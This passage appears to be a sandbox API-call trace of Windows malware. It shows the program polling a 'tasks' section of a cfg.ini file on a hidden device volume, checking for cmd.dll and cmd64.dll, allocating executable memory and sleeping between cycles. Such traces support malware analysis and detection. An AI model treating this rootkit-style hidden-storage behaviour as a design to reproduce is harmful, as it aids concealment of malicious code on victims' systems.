_Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.275] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.275] IdePortDispatch () returned 0x103 [0130.275] KeWaitForMutexObject () returned 0x0 [0130.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.275] KeLeaveCriticalRegion () [0130.275] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.276] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.276] KeEnterCriticalRegion () [0130.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.276] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.276] KeLeaveCriticalRegion () [0130.276] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.276] KeEnterCriticalRegion () [0130.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.276] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.276] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.276] KeLeaveCriticalRegion () [0130.276] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.276] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.276] KeEnterCriticalRegion () [0130.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.276] ExFreePoolWithTag (P=0xfffffa800294c0f0, Tag=0x0) [0130.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.276] KeLeaveCriticalRegion () [0130.276] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.276] ReleaseMutex (hMutex=0xf0) returned 1 [0130.276] Sleep (dwMilliseconds=0x927c0) [0130.291] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.291] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.291] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.291] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.291] KeEnterCriticalRegion () [0130.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.291] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.291] IdePortDispatch () returned 0x103 [0130.292] KeWaitForMutexObject () returned 0x0 [0130.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.292] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.292] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.292] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.292] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.292] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c610 [0130.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.292] KeLeaveCriticalRegion () [0130.292] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.292] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.292] KeEnterCriticalRegion () [0130.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.292] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.292] KeLeaveCriticalRegion () [0130.292] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.292] KeEnterCriticalRegion () [0130.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.292] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.292] IdePortDispatch () returned 0x103 [0130.292] KeWaitForMutexObject () returned 0x0 [0130.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.293] KeLeaveCriticalRegion () [0130.293] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.293] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.293] KeEnterCriticalRegion () [0130.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.293] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d55000 [0130.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.293] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.293] IdePortDispatch () returned 0x103 [0130.293] KeWaitForMutexObject () returned 0x0 [0130.293] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.293] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.293] IdePortDispatch () returned 0x103 [0130.293] KeWaitForMutexObject () returned 0x0 [0130.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.293] KeLeaveCriticalRegion () [0130.293] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.294] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.294] KeEnterCriticalRegion () [0130.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.294] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.294] KeLeaveCriticalRegion () [0130.294] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.294] KeEnterCriticalRegion () [0130.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.294] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.294] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.294] KeLeaveCriticalRegion () [0130.294] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.294] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.294] KeEnterCriticalRegion () [0130.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.294] ExFreePoolWithTag (P=0xfffffa800294c610, Tag=0x0) [0130.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.294] KeLeaveCriticalRegion () [0130.294] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.295] ReleaseMutex (hMutex=0xf0) returned 1 [0130.295] Sleep (dwMilliseconds=0x927c0) [0130.310] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.310] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.310] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.310] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.310] KeEnterCriticalRegion () [0130.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.310] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.310] IdePortDispatch () returned 0x103 [0130.310] KeWaitForMutexObject () returned 0x0 [0130.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.310] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.310] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.310] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.310] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.310] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c660 [0130.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.310] KeLeaveCriticalRegion () [0130.310] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.310] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.311] KeEnterCriticalRegion () [0130.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.311] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.311] KeLeaveCriticalRegion () [0130.311] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.311] KeEnterCriticalRegion () [0130.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.311] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.311] IdePortDispatch () returned 0x103 [0130.311] KeWaitForMutexObject () returned 0x0 [0130.311] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.311] KeLeaveCriticalRegion () [0130.311] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.311] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.311] KeEnterCriticalRegion () [0130.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.311] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d5a000 [0130.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.311] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.311] IdePortDispatch () returned 0x103 [0130.311] KeWaitForMutexObject () returned 0x0 [0130.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.312] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.312] IdePortDispatch () returned 0x103 [0130.312] KeWaitForMutexObject () returned 0x0 [0130.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.312] KeLeaveCriticalRegion () [0130.312] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.312] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.312] KeEnterCriticalRegion () [0130.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.312] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.313] KeLeaveCriticalRegion () [0130.313] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.313] KeEnterCriticalRegion () [0130.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.313] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.313] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.313] KeLeaveCriticalRegion () [0130.313] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.313] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.313] KeEnterCriticalRegion () [0130.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.313] ExFreePoolWithTag (P=0xfffffa800294c660, Tag=0x0) [0130.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.313] KeLeaveCriticalRegion () [0130.313] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.313] ReleaseMutex (hMutex=0xf0) returned 1 [0130.313] Sleep (dwMilliseconds=0x927c0) [0130.334] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.334] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.334] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.334] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.334] KeEnterCriticalRegion () [0130.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.334] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.334] IdePortDispatch () returned 0x103 [0130.334] KeWaitForMutexObject () returned 0x0 [0130.334] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.334] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.334] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.334] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.334] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.334] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294df60 [0130.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.334] KeLeaveCriticalRegion () [0130.334] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.335] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.335] KeEnterCriticalRegion () [0130.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.335] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.335] KeLeaveCriticalRegion () [0130.335] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.335] KeEnterCriticalRegion () [0130.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.335] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.335] IdePortDispatch () returned 0x103 [0130.335] KeWaitForMutexObject () returned 0x0 [0130.335] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.335] KeLeaveCriticalRegion () [0130.335] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.335] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.335] KeEnterCriticalRegion () [0130.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.335] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d5f000 [0130.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.335] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.335] IdePortDispatch () returned 0x103 [0130.335] KeWaitForMutexObject () returned 0x0 [0130.336] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.336] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.336] IdePortDispatch () returned 0x103 [0130.336] KeWaitForMutexObject () returned 0x0 [0130.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.336] KeLeaveCriticalRegion () [0130.336] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.336] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.336] KeEnterCriticalRegion () [0130.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.336] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.336] KeLeaveCriticalRegion () [0130.336] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.336] KeEnterCriticalRegion () [0130.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.336] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.337] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.337] KeLeaveCriticalRegion () [0130.337] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.337] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" 